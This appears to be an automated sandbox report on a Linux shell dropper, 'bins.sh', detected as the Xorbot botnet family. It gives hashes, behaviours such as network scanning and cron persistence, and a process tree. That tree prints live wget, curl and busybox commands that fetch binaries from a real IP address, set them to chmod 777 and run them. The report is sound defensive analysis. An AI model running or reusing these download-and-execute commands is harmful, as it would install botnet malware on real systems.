Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
28/02/2025, 12:26
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240418-en
General
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Target
bins.sh
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Size
10KB
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MD5
6d5db893b3366e9b599c283095502209
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SHA1
20bb6748cb464f266c5d2d9c823902992608268f
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SHA256
0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4
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SHA512
45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402
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SSDEEP
96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY
Malware Config
Signatures
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resource yara_rule behavioral3/files/fstream-1.dat family_xorbot behavioral3/files/fstream-3.dat family_xorbot -
Xorbot family
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Contacts a large (922) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 723 chmod 731 chmod 816 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F 724 bins.sh /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 732 bins.sh /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X 817 bins.sh -
Renames itself 1 IoCs
pid Process 818 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.QPLxrK crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/4/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/663/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/929/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/946/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/955/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1037/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/19/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/24/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/664/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/899/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/911/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/963/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/966/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/974/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/filesystems crontab File opened for reading /proc/114/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/827/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/876/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/886/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/830/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/832/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/849/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/854/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/991/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/13/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/17/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/883/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/970/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1013/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/833/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/228/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/873/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/935/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/952/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1012/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1030/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/16/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/877/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/895/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/959/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1044/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/9/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/905/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/947/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/990/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1022/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/321/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/844/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/992/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/998/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1005/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/22/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/665/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/834/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/839/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/861/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/5/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/923/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/945/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1020/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/1041/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/912/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/921/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X File opened for reading /proc/973/cmdline 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 busybox File opened for modification /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X wget File opened for modification /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F wget File opened for modification /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F curl File opened for modification /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F busybox File opened for modification /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 wget File opened for modification /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X curl File opened for modification /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X busybox File opened for modification /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:693 -
/bin/rm/bin/rm bins.sh2⤵PID:701
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/usr/bin/wgetwget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Writes file to tmp directory
PID:703
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/usr/bin/curlcurl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Writes file to tmp directory
PID:711
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Writes file to tmp directory
PID:721
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/bin/chmodchmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- File and Directory Permissions Modification
PID:723
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/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵PID:724
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/bin/rmrm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵PID:726
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/usr/bin/wgetwget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Writes file to tmp directory
PID:727
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/usr/bin/curlcurl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Writes file to tmp directory
PID:729
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Writes file to tmp directory
PID:730
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/bin/chmodchmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- File and Directory Permissions Modification
PID:731
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/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵PID:732
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/bin/rmrm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵PID:734
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/usr/bin/wgetwget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Writes file to tmp directory
PID:735
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/usr/bin/curlcurl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Writes file to tmp directory
PID:814
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Writes file to tmp directory
PID:815
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/bin/chmodchmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- File and Directory Permissions Modification
PID:816
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/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Renames itself
- Reads runtime system information
PID:817 -
/bin/shsh -c "crontab -l"3⤵PID:819
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/usr/bin/crontabcrontab -l4⤵PID:820
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/bin/shsh -c "crontab -"3⤵PID:821
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:822
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/bin/rmrm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵PID:824
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/usr/bin/wgetwget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY2⤵PID:875
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/usr/bin/curlcurl -O http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY2⤵PID:908
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5781a809472ec21ec9e65ed58b1400837
SHA156bc0044a22720ee512fe9f76b4e83332f24f498
SHA2560436b77237a93f96a7cea11d9672fba239fb8a8890c845d1465988bf6299c150
SHA512b107b62d851f63b26883532310f9f0417aedb40387c08b8e7370b6742d25df614edd12cc80614447aa021ab6a7f67dc2f8ba86683835adc56c139cb3e4db8459